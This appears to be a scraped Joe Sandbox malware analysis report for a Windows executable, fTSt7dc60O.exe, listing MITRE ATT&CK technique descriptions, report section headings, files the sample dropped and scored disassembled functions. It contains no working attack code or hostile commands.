Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report fTSt7dc60O.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\BooConf.ini

C:\Users\user\AppData\Local\Temp\nsb9BB3.tmp\System.dll

C:\Users\user\AppData\Local\Temp\nsd9394.tmp

C:\Users\user\AppData\Local\Temp\tmc.ini

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\typhlostomy\Contiguousness.Rit

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\typhlostomy\Havrnes117.For

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\typhlostomy\Impieties200.bjr

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\typhlostomy\firsaarsfdselsdags.luv

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\typhlostomy\portitor.win

C:\Users\user\subacidity.lnk

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Windows Analysis Report
fTSt7dc60O.exe

Function 0040335A Relevance: 75.6, APIs: 27, Strings: 16, Instructions: 383
stringfilecomCOMMON

Function 00405331 Relevance: 66.8, APIs: 36, Strings: 2, Instructions: 282
windowclipboardmemoryCOMMON

Function 00405F6A Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 207
stringCOMMON

Function 004057D0 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148
filestringCOMMON

Function 00403CC2 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 345
windowstringCOMMON

Function 0040391F Relevance: 51.0, APIs: 15, Strings: 14, Instructions: 216
stringregistrylibraryCOMMON

Function 00402DBC Relevance: 26.5, APIs: 5, Strings: 10, Instructions: 203
memoryCOMMON

Function 00401752 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Function 004051F2 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 72
stringwindowCOMMON

Function 00402573 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 142
fileCOMMON

Function 0040317D Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 108
fileCOMMON

Function 004015B9 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 57
COMMON

Function 00402B7A Relevance: 7.6, APIs: 5, Instructions: 67
registryCOMMON

Function 10001759 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 118
COMMON

Function 00405E15 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 45
registryCOMMON